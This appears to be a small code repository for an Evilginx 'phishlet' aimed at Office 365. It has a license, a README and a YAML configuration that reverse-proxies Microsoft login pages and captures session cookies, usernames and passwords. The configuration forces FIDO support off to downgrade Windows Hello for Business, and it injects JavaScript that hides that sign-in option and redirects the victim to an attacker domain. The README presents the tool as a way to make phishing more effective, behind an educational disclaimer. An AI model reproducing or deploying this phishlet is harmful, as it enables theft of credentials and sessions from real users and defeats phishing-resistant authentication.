├── LICENSE ├── README.md └── o365whfb.yaml /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Yehuda Smirnov 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Introduction 2 | - This phishlet is designed for the Evilginx framework, aiming to enhance phishing campaigns against Office 365 (O365) environments. 3 | - It specifically targets the Windows Hello for Business authentication method, enabling an attacker to downgrade this secure authentication to more vulnerable, phishable methods. 4 | - In addition, this phishlet incorporates JavaScript injection techniques to hide the sign-in option for Windows Hello for Business, among other functionalities, to increase the efficacy of phishing attacks. 5 | 6 | *Disclaimer: This tool is provided for educational purposes only. It is essential to use it ethically and legally. The developers and contributors are not responsible for misuse or for any damage that may be caused.* 7 | 8 | ## Features 9 | - Enables downgrading Windows Hello for Business authentication to less secure methods that can be easily phished. 10 | - Includes code to manipulate the O365 login page, specifically to hide the Windows Hello for Business sign-in option, making phishing attacks more straightforward and less detectable. 11 | 12 | ## Usage 13 | - Ensure you have Evilginx installed and running on your system. Refer to the official Evilginx documentation for installation instructions. 14 | - Download the O365 phishlet file from this repository. 15 | - Move the phishlet file to the appropriate directory where your phishlets are located or where you want evilginx to load phishlets from (typically ~/.evilginx/phishlets/). 16 | 17 | Stay tuned for the upcoming blog post. 18 | -------------------------------------------------------------------------------- /o365whfb.yaml: -------------------------------------------------------------------------------- 1 | name: 'o365whfb' 2 | author: 'Yehuda Smirnov' 3 | min_ver: '3.1.0' 4 | proxy_hosts: 5 | - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true, auto_filter: true} 6 | - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing: false, auto_filter: true} 7 | - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true} 8 | auth_tokens: 9 | - domain: '.login.microsoftonline.com' 10 | keys: ['ESTSAUTH:always','ESTSAUTHPERSISTENT:always','SignInStateCookie:always','esctx:always','ESTSSC:always','ESTSAUTHLIGHT:always','stsservicecookie:always','x-ms-gateway-slice:always'] 11 | type: 'cookie' 12 | - domain: 'login.microsoftonline.com' 13 | keys: ['ESTSSC:always','ESTSAUTHLIGHT:always','stsservicecookie:always','x-ms-gateway-slice:always'] 14 | type: 'cookie' 15 | force_post: 16 | - path: '/kmsi' 17 | search: 18 | - {key: 'LoginOptions', search: '.*'} 19 | force: 20 | - {key: 'LoginOptions', value: '1'} 21 | type: 'post' 22 | - path: '/common/GetCredentialType' 23 | search: 24 | - {key: 'isFidoSupported', search: '.*'} 25 | force: 26 | - {key: 'isFidoSupported', value: 'false'} 27 | type: 'post' 28 | auth_urls: 29 | - "/kmsi*" 30 | - "/favicon.ico" 31 | credentials: 32 | username: 33 | key: '(login|UserName)' 34 | search: '(.*)' 35 | type: 'post' 36 | password: 37 | key: '(passwd|Password|accesspass)' 38 | search: '(.*)' 39 | type: 'post' 40 | custom: 41 | - key: 'mfaAuthMethod' 42 | search: '(.*)' 43 | type: 'post' 44 | username: 45 | key: "" 46 | search: '"username":"([^"]*)' 47 | type: "json" 48 | password: 49 | key: "" 50 | search: '"password":"([^"]*)' 51 | type: "json" 52 | username: 53 | key: (login|UserName|username|email|account) 54 | search: (.*) 55 | password: 56 | key: (passwd|Password|password|login_password|pass|pwd|session_password|PASSWORD) 57 | search: (.*) 58 | username: 59 | key: '(login)' 60 | search: '(.*)' 61 | type: 'post' 62 | password: 63 | key: '(passwd)' 64 | search: '(.*)' 65 | type: 'post' 66 | login: 67 | domain: 'login.microsoftonline.com' 68 | path: '/' 69 | js_inject: 70 | - trigger_domains: ["login.microsoftonline.com"] 71 | trigger_paths: ["/.*"] 72 | trigger_params: ["true"] 73 | script: | 74 | function lp(){ 75 | var element = document.querySelector('.table'); 76 | console.log("loaded") 77 | if (element) { 78 | element.style.display = 'none'; 79 | }; 80 | if (window.location.pathname == '/common/fido/get' && !loc) { 81 | console.log("success"); 82 | location.replace('https://login.attacker_domain.com/'); 83 | loc = true; 84 | } 85 | if (window.location.pathname != '/common/fido/get' && loc) { 86 | loc = false; 87 | } 88 | setTimeout(function(){lp();}, 100); 89 | } 90 | let loc = false; 91 | setTimeout(function(){lp();}, 100); 92 | --------------------------------------------------------------------------------